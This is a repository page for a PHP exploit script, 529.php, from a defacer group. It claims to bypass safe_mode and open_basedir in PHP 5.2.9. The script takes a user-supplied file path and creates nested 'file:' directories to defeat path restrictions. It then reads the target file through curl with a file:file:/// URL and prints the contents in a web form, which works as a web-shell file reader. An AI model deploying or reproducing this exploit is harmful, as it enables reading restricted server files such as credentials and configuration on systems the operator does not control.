FilesExpand file tree

 master

/

529.php

Copy path

Blame

More file actions

Blame

More file actions

Latest commit

 

History

History

History

executable file

·

58 lines (41 loc) · 1.54 KB

 master

/

529.php

Copy path

Top

File metadata and controls

• Code
• Blame

executable file

·

58 lines (41 loc) · 1.54 KB

Raw

Copy raw file

Download raw file

Open symbols panel

Edit and raw actions

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

<?php

/*

safe_mode and open_basedir Bypass PHP 5.2.9

KingDefacer ARCHÝVES /

This Exploit Was Edited By KingDefacer

NOTE:

*/

if(!empty($_GET['file'])) $file=$_GET['file'];

else if(!empty($_POST['file'])) $file=$_POST['file'];

echo '<PRE><P>This is exploit from <a

href="/" title="Securityhouse">Security House - Shell Center - Edited By KingDefacer</a> labs.

Turkish H4CK3RZ

<p><b> [Turkish Security Network] - Edited By KingDefacer

<p>PHP 5.2.9 safe_mode & open_basedir bypass

<p>More: <a href="/">Md5Cracking.Com Crew</a>

<p><form name="form" action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["SCRIPT_N

AME"]).$_SERVER["PHP_SELF"].'" method="post"><input type="text" name="file" size="50" value="'.htmlspecialchars($file).'"><input type="submit" name="hardstylez" value="Show"></form>';

$level=0;

if(!file_exists("file:"))

mkdir("file:");

chdir("file:");

$level++;

$hardstyle = explode("/", $file);

for($a=0;$a<count($hardstyle);$a++){

if(!empty($hardstyle[$a])){

if(!file_exists($hardstyle[$a]))

mkdir($hardstyle[$a]);

chdir($hardstyle[$a]);

$level++;

}

}

while($level--) chdir("..");

$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);

echo '<FONT COLOR="RED"> <textarea rows="40" cols="120">';

if(FALSE==curl_exec($ch))

die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');

echo ' </textarea> </FONT>';

curl_close($ch);

?>

bypass shell: